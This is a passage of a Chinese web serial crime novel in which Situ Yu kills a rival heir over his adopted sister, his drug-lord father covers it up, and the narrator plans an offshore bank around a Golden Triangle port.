司徒宇的拳头攥得嘎嘣响,他闭上眼睛,深吸一口气,似乎是下达了一个重大的决定。
深夜两点。
司徒宇从窗户翻出,沿着外墙的水管,慢慢向下滑。
他的动作很轻,很慢,滑到一楼,他停住观察了一下四周。
两个守卫正在不远处巡逻,他等了一会儿,等他们走过去,才轻轻跳下,司徒宇的动作很轻,没有发出任何的声音。
他小心谨慎的向龙威的房间摸去。
龙威的房间在一楼最东边,窗户正对着后面的花园,他白天观察过,那个窗户外面有一棵大树,枝叶茂密,是最好的掩护。
他摸到大树下,三两下爬了上去。
树枝延伸到窗户旁边,距离窗户只有一米,他蹲在树枝上,看着那扇窗户。
窗户关着,窗帘拉得严严实实,但里面透出一丝微弱的灯光,龙威还没睡。
他等了一会儿。
十分钟,二十分钟,半小时……
灯光终于灭了。
他又等了半小时,等龙威睡熟,才轻轻一跳,抓住窗沿。
他轻轻推开窗户,侧身滑了进去。
房间里很黑,龙威正躺在床上,鼾声如雷。
他睡得很沉,脸上还带着一丝猥琐的笑容,不知道在做什么美梦。
司徒宇走到床边,低头看着他。
月光从窗户照进来,照在龙威的脸上,也照在司徒宇的脸上。
两张脸,一张猥琐,一张冰冷。
司徒宇从腰间拔出**。
那把**是龙三爷送给他的,说是龙家的传家宝,吹毛断发,锋利无比,他收下的时候,没想到会用在这里。
他举起**。
龙威的鼾声忽然停了。
他睁开眼睛,看到床前站着一个人,吓得差点叫出来。但他的声音还没出口,冰冷的刀锋已经抵在他的喉咙上。
“别动。”司徒宇的声音很轻道:“别出声,出声就死。”
龙威瞪大眼睛看着他,浑身僵硬,一动不敢动。
“司……司徒宇……你……你要干什么?”
司徒宇看着他,眼睛里没有任何表情。
“你今天说的话,还记得吗?”
龙威愣了一下,然后脸色变得惨白。
“我就是随便说说,我没……我没当真……”
“你没当真?”司徒宇冷笑道:“你说要把司徒晴弄到手,你说要让我帮你牵线,你说事成之后少不了我的好处,这些话,是随便说说的?”
龙威的嘴唇颤抖着。
“阿宇,我错了,我不该……”
“你不该什么?”
“我不该打她的主意……”龙威的声音带着哭腔道:“我真的错了,你饶了我,饶了我。”
司徒宇看着他,看着这个刚才还得意洋洋、现在却像条死狗一样求饶的男人。
“龙威。”他轻声说,“你知道她是谁吗?”
龙威茫然地看着他,先是点了点头,然后又摇了摇头。
司徒宇一字一顿地说:“她是我妹妹。”
龙威的眼睛瞬间睁大。
“你妹妹?你们不是亲生的啊!”
龙威张了张嘴,想说什么,却什么都说不出来,因为司徒宇的**,在他的喉咙上划出了一道细长的血痕。
“龙威,我在司徒家这么多年,只有一个人对我好,只有一个人真心对我笑,真心叫我哥,那
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个人就是司徒晴。”
龙威的脸惨白如纸,他明白司徒宇是什么意思了。
“如果有人想伤害她,如果有人想打她的主意,如果有人想把她当成猎物……”
他的刀锋一转,对准龙威的眼睛。
“我会杀了他。”
龙威浑身剧烈颤抖,裤裆里一股热流涌出,他被吓尿了!
“阿宇,别杀我,我保证不会对司徒晴动心思!”
“你的保证,我不信。”
龙威的眼睛瞪得老大,疯狂求饶道:“司徒宇,我们是兄弟!”
司徒宇忽然笑了,他笑容里有嘲讽。
“兄弟?”
他低头看着龙威,看着这个和他没有任何血缘关系、却叫了龙三爷三十年“爹”的男人。
“龙威,你真的以为我们是兄弟?”
龙威愣住了。
司徒宇继续说:“你今天说的那些话,你以为我不知道是什么意思?你以为我不知道你想干什么?”
他的刀锋在龙威脸上轻轻划过。
“你想除掉我,对不对?你想让我死在司徒鸣手里,对不对?你想一个人独吞龙家的家业,对不对?”
龙威的脸彻底没了血色。
“我……我没有……”
“你没有?”司徒宇冷笑,“你今天看我的眼神,你以为我没看到?你恭喜我活着回来的时候,你以为我没听出你话里的恨意?你想让我死,你想让我永远回不来。”
他俯下身,凑到龙威耳边。
“可惜,我回来了。”
龙威浑身颤抖,说不出话来。
司徒宇直起身,看着他。
“龙威,你知道吗?我本来可以留你一命的,你恨我,想杀我,这些我都不在乎,因为我对龙家的家业没兴趣,我也不想跟你争什么。”
他的眼神变冷。
“但你千不该万不该,不该打她的主意。”
龙威的嘴唇颤抖着,想求饶,却发不出声音。
司徒宇举起**。
“你给我记住,有些人是不能碰的。”
刀光一闪,鲜血喷溅!
龙威的眼睛瞪得老大,他的喉咙里发出咯咯的声音,他身体抽搐了几下,然后不动了。
司徒宇收回**,看着床上那具尸体。
他站在那里,站了很久,然后他蹲下身,用床单擦干净**上的血,插回腰间。
他站起身,最后看了龙威一眼。
“晴儿,哥替你除掉了一个威胁。”
287为了妹妹(上)!
司徒宇看着面前龙威的尸体,他冷冷的说道:“龙威,你别怪我心狠,要怪,就怪你自己动了不该动的心思。”
司徒宇将手中**擦干净,然后他翻出窗户,顺着大树滑下去,消失在夜色中。
回到房间后,司徒宇把染血的床单塞进衣柜最深处,换上一身干净的衣服,他现在必须要隐藏好自己的意图,不能引起龙三爷他们的怀疑。
司徒宇知道自己杀了人,自己杀的是龙三爷的养子,名义上的继承人,叫了他三十年爹的儿子。
如果龙三爷知道龙威**了,他会怎么样?
司徒宇不知道,他也不在乎,他只知道,他绝不允许任何人威胁司徒晴的安全,龙威还想要将司徒晴占为己有,他就该死。
司徒宇对司徒晴的保护是极端的,他不允许任何人伤害司徒晴,也包括他自己!
处理好一切事物,司徒宇才安心的上床睡觉,他现在就必须表现的云淡风轻,才不会引起别人的怀疑。
早上八点,佣人来敲门,叫司徒宇去吃早饭。
他下楼时,龙三爷已经在餐厅里了,龙三爷坐在主位上,他面前摆着丰盛的早餐,正在看报纸。
看到司徒宇,龙三爷抬起头,微微一笑。
“阿宇,早,昨晚睡得好吗?”
司徒宇点点头道:“还好。”
他在龙三爷对面坐下,佣人端上早餐,他拿起筷子,慢慢吃着。
“龙威呢?”龙三爷问道:“怎么还没起?”
佣人摇摇头:“还没见龙威少爷下来。”
龙三爷眉头微皱道:“去叫叫他。”
佣人点点头,上楼去了,然后过了几分钟,楼上忽然传来一声尖叫。
紧接着,是佣人惊慌失措的声音:老爷!不好了!龙威少爷他……”
龙三爷听后脸色一变,站起身,向楼上冲去。
司徒宇也站起身,跟在他身后。
龙威的房间门口,已经围了一圈人,佣人们脸色惨白,浑身发抖,不敢进去。
龙三爷推开他们,走进房间,看到眼前的一幕,老公三爷整个人都愣住了!
床上,龙威的尸体躺在血泊中,周围鲜血已经凝固,变成深褐色,和床单粘在一起,他的眼睛还睁着,空洞地看着天花板,脸上凝固着临死前的恐惧。
龙三爷站在那里,一动不动。
司徒宇走到他身后,也看着那具尸体。
房间里安静得可怕,佣人们不少都发出了呕吐,这一幕真的是太吓人了!
过了很久,龙三爷才开口,道:“谁干的?”
没有人回答,龙三爷转过身,看着门外那些佣人。
“我问,谁干的!”
佣人们吓得跪了一地,纷纷摇头。
“不……不知道……老爷……我们真的不知道……”
龙三爷的眼睛里燃烧着怒火。
“查!给我查!今天之内,必须给我查出来!”
他的人立刻行动起来,开始盘问每一个佣人,搜查每一个角落。
龙三爷走出房间,站在走廊里,浑身都在颤抖。
司徒宇走到他身边。
“爹……”
龙三爷摆摆手,打断他。
“别说话。”
司徒宇闭上嘴。
龙三爷靠在墙上,闭上眼睛,那张布满皱纹的脸上,第一次出现了一种他从未见过的表情,不是愤怒,不是悲伤,而是一种深深的疲惫和痛苦。
“阿威……”他喃喃着道:“阿威跟了我三十年……三十年……”
司徒宇看着他,这个人,是金三角的毒枭,是**不眨眼的恶魔,是让无数人家破人亡的罪魁祸首。
但他也是个父亲,一个刚刚失去儿子的父亲。
司徒宇在想,如果龙三爷他知道了真想,他会怎么处理自己?
“爹。”他开口。
龙三爷睁开眼看着他。
司徒宇张了张嘴,想说什么,却什么都说不出来。
就在这时,一个手下跑过来。
“老爷!查到了!”
龙三爷眼神一凛。
“说!”
手下犹豫了一下,看了司徒宇一眼。
龙三爷皱眉。
“说!”
手下压低声音说:“昨晚有人看到……看到阿宇少爷从龙威少爷的房间回来。”
龙三爷愣住了。
他转过头,看着司徒宇。
司徒宇迎着他的目光,没有任何表情,龙三爷看了他很久,然后挥了挥手,道:“都下去吧。”
手下愣了一下,仿佛听错了话一样,问到:“老爷,这……”
“下去!”
手
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下不敢再说,退了下去。
走廊里只剩下龙三爷和司徒宇两个人。
他们相对而立,谁都没有说话。
过了很久,龙三爷才开口,他的声音很轻,没有任何的情绪问到:“阿宇,你为什么要杀掉龙威?”
“为什么?”司徒宇冷笑一声,道:“因为他想伤害司徒晴,他想占有她!”
龙三爷的眉头微微皱起,道:“司徒晴?司徒鸣的女儿?”
“是。”
龙三爷沉默了几秒。
“就为了这个?”龙三爷有点不理解。
“就为了这个。”司徒宇狠狠的点了点头。
龙三爷看着他,眼神里有很多的不理解,他不明白自己的儿子,竟然是为了一个女人,就杀了龙威。
“阿宇。”他轻声说道:“你知道你在做什么吗?”
“知道。”司徒宇点了点头道。
“你知道阿威跟了我三十年吗?”
“知道。”
“你知道他是我儿子吗?”
司徒宇沉默了一秒,然后说:“知道,但他该死。”
龙三爷的眼睛里闪过一丝杀意。
“你……”
司徒宇打断他:“爹,您说过,在这个世界上,想要活下去,就要比别人更狠。”
龙三爷愣住了。
司徒宇继续说:“您说过,谁都靠不住,只有恨能让人活下去,您说过,龙家的男人,不哭。”
他上前一步,和龙三爷面对面站着。
“爹,我杀了龙威,因为他对我不利,因为他对我在乎的人有威胁,我不后悔,如果再给我一次机会,我还是会杀他。”
他看着龙三爷的眼睛,问道:“您要杀我吗?”
司徒宇将手里的**递给了龙三爷,面无表情道:“这把**,是你给我的,如果你想杀我,就用它吧,总比死在别人手里强。”
司徒宇说完,闭上了眼睛。
他在赌,赌龙三爷不会对自己下手,所以他以退为进。
自己是龙三爷唯一的骨肉了,他会下得了手么?
龙三爷看着他,看着这个刚刚相认的儿子,看着这个杀了自己养子却理直气壮的年轻人,他忽然笑了。
那笑容里有苦涩,有释然,他笑着说道:“阿宇,你比我想象的,更像我的儿子。”
288为了妹妹(下)!
司徒宇没有说话,就那么看着龙三爷。
龙三爷伸出手,按在他肩上,叮嘱道:“这件事,到此为止,阿威的死,就当是意外,我会**息,这件事谁都不会知道真相。”
司徒宇的点了点头,到:“谢谢爹。”
他知道,龙三爷这是在保他,不是为了正义,不是为了公道,只是因为他是他的儿子。
龙三爷摇摇头道:“不用谢,从今往后,龙家的一切,都是你的。”
他转身,向楼下走去,走了几步,他停住,没有回头。
“阿宇。”
“嗯。”
“那个司徒晴,你打算怎么办?”
司徒宇沉默了几秒。
“她是我的!”司徒宇坚定的说道。
龙三爷点点头,道:“去吧,处理完这边的事,就去找她,我也想抱孙子了。”
龙三爷这句话说的是真心的,他是个老人了,想要含饴弄孙,是他的愿望,现在司徒鸣已经被自己收拾了,金三角这边就没有了威胁。
他甚至有点高兴,那就是收获了司徒宇这个心狠手辣的儿子,这样才能保住自己一辈子打下的江山。
司徒宇目送龙三爷离开的身影,他如释重负,因为就在刚刚,他感觉到了龙三爷有要杀自己的心思。
只是司徒宇不知道,龙三爷为什么会放过自己,他这种人,心里还有亲情么?
龙威死后第三天,清迈的一切终于尘埃落定。
司徒鸣的老巢被炸成了废墟,他的人死的死、散的散、投降的投降。
司徒宇带着手下的人在废墟里翻找了三天,把能用的东西都搬走,不能用的就地销毁,司徒鸣经营了二十多年的基业,就这样灰飞烟灭。
司徒宇站在那片废墟前,看着工人们进进出出地搬运东西。
“阿宇,我要回缅甸了。”龙三爷说道:“清迈港那边,司徒家的产业,从现在开始都是你的。”
龙三爷拍着他的肩膀,“好好干,别给龙家丢脸。”
司徒宇点点头,没有说话。
龙三爷看着他,欲言又止,最后只是叹了口气,转身上了车。
车队消失在道路尽头,司徒宇站在庄园门口,看着那些远去的烟尘。
从今往后,他就是清迈的主人了。
不是司徒家的养子,不是龙家刚认回来的儿子,而是真正的、手握实权的主人。
可是,他心里没有半点喜悦。
他拿出手机,看着屏幕上的那个号码。
那个号码,他背了无数遍,却一次都没有打过。
因为那是她的号码。
司徒晴。
他深吸一口气,拨通了那个电话。
电话响了三声,那边接起来。
“喂?”
是我的声音。
司徒宇愣了一下,然后说:“陈凡,是我。”
电话那头沉默了一秒。
“司徒宇?”我说道。
“嗯。”
“你在哪儿?”我问道。
“清迈。”
我没有问更多,只是说:“事情办完了?”
“办完了。”司徒宇顿了顿,道:“司徒鸣**。”
我听了这个消息,沉默了几秒,我不知道司徒宇经历了什么,但我知道,他一定是经历了生死。
过了几秒,我问道:“你杀的?”
“不是,是龙三爷杀的。”司徒宇的声音很平静道:“但我看着他死的。”
我没有说话,只是抽着烟。
司徒宇继续说:“司徒鸣在清迈港的产业,现在是我的了,龙三爷让我接手,我会跟你合作,清迈港那边,以后你们周家的货,畅通无阻。”
“好。”我说道:“你别忘了当初你说的分成比例。”
我强调了一下,因为这里还有周家的分成。
“陈凡。”
“嗯。”
“她……在吗?”
我知道他说的是谁,司徒宇在问司徒晴。
“在。”我说道。
司徒宇深吸一口气。
“能不能……让她接电话?”他有些请求道。
“你等一下,我去喊。”我说道。
我知道想让司徒宇忘掉司徒晴是一件非常难得事情,所以,我也不想太干涉,只要司徒宇不过分,那我可以接受。
毕竟,他刚除掉司徒鸣。
我拿着手机,走向了卧室,然后到:“晴儿,有电话找你。”
那边传来一个女孩的声音,带着一丝惊讶:“找我?谁啊?”
“你哥。”
我笑着说道。
“真的?”司徒晴开心的结果电话。
“喂?哥?你在哪?你还好么!”
那个熟悉的声音传来,从小到大,她叫他“哥”,叫了无数遍。可从来没有哪一遍,像现在这样让他心跳加速、手心冒汗。
“晴儿。”他的声音有些沙哑。
“哥!你终于打电话了!”司徒晴的声音里带着惊喜,“你这几天去哪儿了?电话也打不通,消息也不回,我都担心**!”
司徒宇听着她的声音,心里像被一只手轻轻攥住。
“我……在清迈出差,这边信号不好。”
“清迈?”司徒晴愣了一下,“你去清迈干什么?”
司徒宇沉默了一秒。
“处理点事,爸的事。”
电话那头安静了。
过了几秒,司徒晴的声音变得小心
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翼翼:“哥,爸他……怎么了?”
司徒宇握着手机的手在微微颤抖。
他该怎么告诉她?
告诉她,那个叫了二十三年“爸爸”的人,其实是个杀了她亲生母亲的凶手?
告诉她,那个人不是病死的,不是意外死的,而是被人杀死的?
告诉她,**的人,是他亲爹?
他张了张嘴,却发不出声音。
“哥?”司徒晴的声音里带上了一丝不安,急忙问道:“你怎么不说话?爸到底怎么了?”
司徒宇闭上眼睛,他的脑海里浮现出司徒鸣最后的表情,那张脸上,有不可置信,有恐惧,也有一种他说不清的东西。
脑海里浮现出司徒晴的笑脸。从小到大,那张笑脸是他黑暗人生里唯一的光。
“哥!”司徒晴的声音变得急切,“你快说啊!爸到底怎么了?”
司徒宇睁开眼,看着眼前那片废墟。
阳光炽烈,晒得他眼睛发疼。
“晴儿。”他的声音很轻,轻得像一片落叶。
“嗯?”
“爸,他……**。”
电话那头一片死寂。
过了很久,很久,司徒晴的声音才传来,沙哑得像砂纸摩擦:“你说什么?”
司徒宇的手在颤抖道:“爸**。”
杀司徒鸣的时候,司徒宇并没有觉得多困难,可是要把这个消息告诉司徒晴的时候,他觉得很难开口,他觉得自己是个罪人,让司徒晴如此伤心。
“**的?”司徒晴追问。
司徒宇沉默着,不知道如何说。
“哥,我问你,他**的?”
司徒宇闭上眼睛。
“被龙三爷杀的。”
电话那头又沉默了。
“龙三爷为什么要杀爸!你告诉我啊!”
司徒宇红了眼睛,他不能说。
自己不能告诉她,司徒鸣也是毒枭,自己不能告诉她,司徒鸣和龙三爷争了几十年,争的是金三角的**生意。
不能告诉她,她那个慈祥的、疼爱她的爸爸,手上沾满了鲜血。
“晴儿。”他轻声说,“有些事,我以后慢慢告诉你。但现在……”
“现在什么?”司徒晴的声音带着哭腔,问道:“现在你告诉我,我爸**,被人杀了,然后你让我等以后?”
司徒宇的心像被刀割一样。
“晴儿,对不起……”
“对不起有什么用?”司徒晴终于哭出声来,“我爸**!我连最后一面都没见到!你让我怎么办?你让我怎么办……”
她的哭声透过手机传来,撕心裂肺。
司徒宇站在原地,听着那哭声,一动不动。
289司徒晴的哭声!
听见司徒晴的哭声,司徒宇整个人的心都碎了,司徒宇在心里预设过很多的场面,告诉司徒晴自己的父亲**,他没想到司徒晴会如此的痛苦,竟然在电话里面失声痛哭。
那种难过,无以言表,比杀了司徒鸣还让自己感觉到痛苦。
“晴儿。”他在电话那边红着眼睛说道:“哥答应你,我一定会回来陪你,我回来告诉你一切,你等我,好不好?”
司徒晴哭着,没有说话,听见电话那边的沉默,司徒宇更加慌张了,他本就做错了事情,他心虚的不得了,他甚至不知道该如何面对司徒晴。
他很害怕,害怕有一天司徒晴知道事情的真相,害怕司徒晴知道自己是龙三爷的儿子。
可害怕有什么用,他坏人已经做了,后悔也没有用!
司徒宇只能各种安慰司徒晴,他轻声的安慰道:“晴儿,你等我,一定要等我!”
电话那头,哭声渐渐变小。
过了很久,司徒晴的声音传来,带着浓重的鼻音:问道:“哥,你什么时候回来?”
司徒宇想想道:“很快的,等我处理完这边的事,就回去。”
“多久?”司徒晴问道。
“一个星期左右,最多十天。”司徒宇回答。
司徒晴沉默了几秒说道:“好,我等你。”
“晴儿。”
“嗯?”
“不管发生什么,你记住,哥永远是你哥,我永远都是站在你这边的!”
司徒宇真的害怕司徒晴知道司徒鸣死因真相,他真的害怕失去这个妹妹。
电话那边很安静,司徒晴轻轻嗯了一声。
司徒晴将电话挂断了,司徒宇听着电话里面的忙音,他好像觉得丢失了什么,一个最宝贵的东西。
司徒宇握着手机,站在原地,一动不动,他把自己关在房间里,躺在床上,看着天花板。
脑海里反复回放着刚才的电话,她的哭声,她的质问,她的那句我等你。
司徒晴的每一句话,都像刀子一样扎在他心上。
司徒宇知道,自己骗了她,自己没有告诉她真相,他知道,自己这个妹妹最讨厌的就是被人骗。
一个快四十岁的男人,眼泪,从眼角滑落。
门外传来敲门声。
“阿宇少爷,晚饭好了。”佣人的声音从门外传来。
司徒宇没有说话,他狠狠的擦了擦自己的脸,不想让人看出自己哭过的痕迹,他总觉得,男人哭泣,是一个懦弱的行为。
“少爷?”佣人在外面又喊了一句。
“不吃了。”司徒宇冷冷的回答。
门外沉默了几秒,然后脚步声远去。
司徒宇继续躺着,看着天花板。
不知过了多久,他拿出手机,看着屏幕上那条短信。
是今天下午司徒晴发来的。
只有一行字:“哥,我等你回来。”
他看着那行字,看了很久很久。
然后他回:“好。”
只有一个字,但他知道,这一个字里,有他这辈子最真的承诺,也有他这辈子最大的谎言。
司徒宇静静的躺在床上,他脑袋里回忆的都是自己和司徒晴小时后的场景,他也不知道为什么会这样,可大脑就是不自觉的在回忆。
他想起小时候,有一次她问他:“哥,月亮上有什么?”
他说:“有嫦娥,有玉兔,还有吴刚砍树。”
她问:“他们会想家吗?”
他想了想,说:“会吧,所以月亮才那么圆,圆的像家。”
司徒晴笑了笑,眼睛弯成一个月牙说:“那以后你想我的时候,就看看月亮,月亮圆的时候,就是我在想你。”
他看着窗外的圆月,心里有一个声音在说:
“晴儿,哥想你了。”
……
上城。
司徒晴挂了电话,坐在沙发上,一动不动,她只觉得自己整个人都被掏空了,尤其是听到父亲被害的消息,她浑身都在颤抖!
她的脸上还挂着泪痕,眼睛红肿,手里紧紧攥着手机。
司徒晴觉得自己很懦弱,很渺小,离开了司徒鸣的庇佑,她什么都不是,她曾经觉得司徒家掌控自己,让自己没有了自由,可是,她失去后才知道,有父亲的地方,才有家啊!
我从厨房出来,端着一杯热水,放在
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她面前,她没有动,我坐在她的身边,搂着她的肩膀,说道:“想哭就哭吧。”
我现在能做的就是给她安慰,因为司徒鸣被害的消息,她早晚都会知道,只不过这个消息,对他来说,实在是太过于残酷了!
怪,就只能怪龙三爷,他逼的太紧了,也只能怪司徒鸣,为什么要杀掉司徒宇的母亲,这种仇恨,不会轻易被消化的!
司徒晴摇摇头,声音沙哑道:“不哭了,哭够了。”
我没有说话,只是静静地看着她。
过了很久,司徒晴突然开口道:“陈凡,我哥他在清迈做什么?”
我犹豫了片刻,回答:“他应该是处理一些生意吧,挺重要的。”
“告诉我什么事?”司徒晴继续追问道。
我摇了摇头,道:“晴儿,有些事,现在还不能告诉你,等你哥回来,他会亲口跟你说。”
司徒晴低下头,看着手里的杯子,她想要说什么,可还是欲言又止,最后她抬起头,她眼里闪着泪光的看着我,问道:“陈凡,我爸,真的是被那个龙三爷杀的吗?”
我点了点头,这个谎言,我必须要帮助司徒宇,不为别的,我也不想看见他们兄妹两个人成为仇人,所有的仇恨,就止于司徒鸣那里就可以了!
司徒晴有些激动,她似乎不能接受这个现实,她继续问我:“陈凡,你告诉我,我爸爸,他是不是也有问题。”
我的心微微一动,司徒晴她察觉到了什么,可我还是不想说的太多,我这也算是保护她。
有时候,知道太多的事情,未必是一件好事,只会引来杀身之祸。
“晴儿,你为什么这么问?”我问道。
司徒晴咬着下唇,看着我说道:“因为我哥说话的语气,他不像是在说一个意外,像是在说一个早就知道的结果,按照我哥的脾气,他一定会去找龙三爷报仇,可是他现在很理智,那就说明,我父亲的死,应该在他的意料之中。”
我沉默了几秒道:“司徒晴,你很聪明。”
司徒晴的眼眶又红了,她激动道:“所以是真的?我爸他也不是好人?”
290护着女人!
我凡没有回答,但司徒晴已经从我的沉默里,得到了答案。
她低下头,眼泪又掉下来到:“我一直以为我爸是好人,他对我那么好,那么疼我,从来不让我受一点委屈……”
她的声音颤抖着道:“可原来……原来他也是……”
我站起身,走到她面前,蹲下。
“司徒晴。”
她抬起头,泪眼朦胧地看着我。
“不管他是好人还是坏人,他对你的好,是真的。”
司徒晴愣住了。
我继续说:“他可能做了很多错事,可能对不起很多人,但他对你好,那是真的,你不需要因为他的错,否定他对你的好。”
司徒晴看着他,眼泪止不住地流。
“陈凡……”
“哭吧。”我轻声说,“哭出来就好了。”
司徒晴终于忍不住,放声大哭。
我站起身,将她抱起,然后搂在怀里,给她安慰。
司徒晴哭累了,最后靠在沙发上睡着了。
她的脸上还挂着泪痕,眉头紧锁,即使在睡梦中也无法安宁,我从房间里拿出一条薄毯,轻轻盖在她身上,她动了动,呢喃了一句什么,又沉沉睡去。
我站在窗前,拿出手机,给周叶青发了一条消息。
“有空吗?有事商量。”
她快回复:老地方,半小时后。
我回头看了一眼沙发上熟睡的司徒晴,又看了看楼上柳媚笙房间的方向,灯还亮着,她应该还没睡,我轻手轻脚地上楼,推开房门。
柳媚笙靠在床头看书,听到动静抬起头。
“要出去?”
“嗯,去找周叶青谈点事。”
她放下书,看着我。
“清迈的事?”
我点点头。
她沉默了几秒,然后轻声说:“小心点。”
我走过去,在她额头上印下一吻。
“放心。”
半小时后,我准时出现在那个四合院。
周叶青已经在里面了,她今天穿着一身深色的家居服,长发随意披散着,脸上没有化妆,看起来比平时柔和了许多,但那双眼睛,依旧精明锐利。
“坐。”她指了指对面的椅子,桌上已经摆好了茶。
我在她对面坐下,端起茶杯喝了一口。
“司徒宇那边来电话了。”我说。
周叶青点点头。
“我知道,他接手了司徒鸣在清迈港的产业。”
我看着她。
“你消息倒是灵通。”
她微微一笑,那笑容里有一丝得意。
“周家这点本事还是有的。”
我放下茶杯,正色道:“他答应跟我们合作。以后清迈港那边,周家的货畅通无阻。”
周叶青点点头,但眼神里有一丝凝重。
“陈凡,事情没那么简单。”
“怎么说?”
她站起身,走到墙上挂着的巨幅地图前,指着清迈港的位置。
“清迈港是金三角**出海的重要通道,以前司徒家和龙三爷各占一半。现在司徒鸣**,龙三爷赢了,你以为他会把这块肥肉让给司徒宇?”
我走到她身边,看着那张地图。
“你的意思是,龙三爷会反悔?”
“不是反悔。”周叶青摇头,“是迟早的事。龙三爷这种人,眼里只有利益。司徒宇是他儿子,但也是刚认回来的儿子。龙威**,他需要一个继承人,但这个继承人能不能坐稳,还得看他的本事。”
她转过身看着我。
“如果司徒宇坐不稳,龙三爷随时可以换人。到时候,清迈港还是龙家的。”
我沉默了几秒。
“所以我们现在要做的,是帮司徒宇坐稳。”
周叶青点点头。
“对,只有他坐稳了,我们的利益才能保障。”
我看着地图上那个小小的港口,脑海里快速推演着各种可能性。
“需要我做什么?”
周叶青看着我,眼神里有一丝复杂的情绪。
“我想让你亲自去一趟清迈。”
我眉头微皱。
“你不是一直反对我去吗?”
“那是以前。”她说,“现在情况不一样了,司徒宇需要人帮他站稳脚跟,而你是最合适的人选,你们有交情,他信任你,你也懂那边的局势。”
我看着她。
“你不怕我有危险?”
她沉默了几秒,然后轻声说:“怕,但有些事,必须有人去做。”
我看着她的眼睛,道:“好,我去,你在上城,帮司徒晴拿回司徒家的家主位置。”
她点点头,移开视线,看向窗外。
沉默了一会儿,我开口:
“周叶青,我有个想法。”
她转过头看着我。
“什么想法?”
“清迈港那边,我们需要一个更稳固的布局。”我说,“不光是货运,还有金融。”
她眉头微挑。
“金融?”
“对。”我走到沙发边坐下,“金三角那块,**生意是主流,但**之外,还有别的。木材、矿产、农产品这些正规生意,一直被忽略。如果我们能在清迈港
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建立一个金融机构,专门服务于这些正规贸易,就能逐步渗透进去,慢慢摆脱对**生意的依赖。”
周叶青的眼睛亮了。
“你是说……银行?”
“对。离岸金融银行。”我说,“利用清迈港的特殊位置,做跨境结算、贸易融资、资产管理。表面上是正规金融机构,实际上是我们控制清迈港经济命脉的工具。”
周叶青走到我面前,在我对面坐下,她看着我,眼神里有惊讶,也有欣赏。
“陈凡,这个想法……是你自己想出来的?”
我点点头。
她看了我几秒,然后笑了。那笑容里有一种说不出的意味——有欣慰,有惊喜,也有一丝……
“你知道这意味着什么吗?”她问。
“什么?”
“这意味着,而是在做一个更高级的局,银行是合法的,是可以做大做强的,只要我们把清迈港的经济命脉握在手里,龙三爷再厉害,也只能给我们打工。”
我点点头。
“就是这个意思。”
她站起身,在房间里来回踱步,显然在快速思考着这个计划的可行性。
“需要多少启动资金?”她问。
“至少十个亿。”
她脚步一顿,回头看着我。
“十个亿?”
“对,前期的牌照、场地、人员、系统,都需要钱。而且我们要做的不是小打小闹,是真正能影响整个金三角经济格局的金融机构。”
她沉默了几秒,然后点点头。
“这笔钱,周家出得起。”
我看着她。
“你同意了?”
她走回我面前,站定。
“陈凡,这个计划太大,我一个人做不了主。但我可以跟你保证,我会尽全力说服老爷子。”
我点点头。
“好。”
她看着我,忽然问:
“如果银行真的办起来,行长的人选,你有吗?”
我看着她,一字一顿地说:
“苏婉情。”
周叶青愣住了。
“苏婉情?”她重复了一遍那个名字,眉头微微皱起,“哪个苏婉情?”
“海城的苏婉情。”
周叶青的眼神变得复杂起来,道:“陈凡啊陈凡,你真是但凡有点机会,就扶持自己的女人!”
“陈凡,你确定她能信得过?”
“确定。”
她转过身,看着我。
“好。我信你一次。”
我站起身,走到她面前道:“那我明天就联系她。”
她点点头。
291再见苏婉情(上)!
“陈凡,你知道苏婉情是什么人吗?”
我点点头,苏婉情从在海城的时候就跟着我,我对她是非常的信任。
“知道,她是苏家的人,她父亲苏山,是金融界的老前辈,门生故吏遍天下,她本人更是金融奇才,多少大公司想挖她都挖不动。”
“如果不是她父亲众女轻男,打压她,她也不会跑到海城的大发银行,她应该有更高的发展空间。”
听了我的话,周叶青的眉头皱得更紧了。
“既然知道,你还想让她来做这个行长?她会答应么?”
我看着她的眼睛,毫不犹豫的点了点头道:“她一定会答应的,因为,她想证明自己,苏婉情有眼光,有才华,有能,更重要的是她有野心!”
我继续说:“苏婉情在苏家待了三十多年,表面风光,实际上一直被她父亲压着,她想做自己的事,想证明自己的能力,但苏山不给她机会,苏家的资源,都给了她那个不成器的弟弟。”
“所以你……”
“对,我给她一个机会。”我说道:“一个真正属于她自己的机会。”
周叶青沉默了,过了许久,她才开口道:“陈凡,不怪女人喜欢你,你这种男人,遇到好事,第一个就像提携自己的女人,你啊你,真是有一套。”
“周总认可了我的想法?”我笑着问。
“你都这么说了,我能反对么,我觉得可以让苏婉情来担任!”
我点了点头,然后走到周叶青的背后,轻轻从后面抱住了她。
这一次她没有躲闪,我也没有更进一步。
我知道周叶青和其他女人不同,我不能太过于着急,我要让她心甘情愿的将身子交给我。
“今晚,我回去了。”我说道。
“嗯……”
周叶青点了点头,然后目送我离开了。
回到别墅时,已经是深夜。
柳媚笙还没睡,靠在床头等我,看到我进来,她坐起身。
“谈完了?”
“嗯。”
我脱掉外套,在她身边躺下,她靠过来,把头埋在我怀里。
“陈凡。”
“嗯。”
“周叶青是不是让你去清迈?”
我低头看着她。
“你怎么知道?”
她轻轻笑了。
“我猜的,那边的事,总得有人去处理,而你是最合适的人选。”
她沉默了一会儿,然后轻声说:“我陪你去。”
我愣了一下,道:“不行。”
她抬起头看着我。
“为什么不行?”
“那边太危险。”
“所以我才要去。”她的眼神很坚定道:“你忘了你答应过我什么?你说过,下次带我一起。”
我看着她,看着她的眼睛。
“柳媚笙……”
“陈凡。”她打断我道:“我不是那个需要你保护的弱女子了,清迈我比你熟,那边的人脉我也比你多。带上我,对你有用。”
我沉默了。
她说的没错,在清迈,她还有达叔的人脉,可是她刚和母亲团聚,我实在是……
“你妈呢?”我问。
“我妈可以一起去。”她说,“她一个人在别墅我也不放心,我们一起去,互相有个照应。”
我看着她,看了很久。
然后我轻轻叹了口气。
“好,一起去。”
她笑了,那笑容在月光下格外温柔。
“这才是我认识的陈凡。”
我伸手,把她揽进怀里。
“陈凡,你该去看看夏颜了,别让她担心。”柳媚笙提醒我。
“嗯……”
我点了点头,搂着柳媚笙相拥入眠。
下午三点,上城机场。
我在出口,等着杭城的飞机降落。
苏婉情,她走了出来,我在人群中一眼就看见了她。
她穿着一件米色的风衣,里面是简单的白衬衫和黑色长裤,脚踩一双平底鞋,长发披散在肩上,没有浓妆艳抹,没有名牌加身,浑身散发着温润如水的气质。
她推着一个小巧的行李箱,走出通道,四处张望。
看到我,她停住了,然后,她笑了。
那笑容从嘴角开始,蔓延到整张脸。
“陈凡。”她轻声叫我的名字。
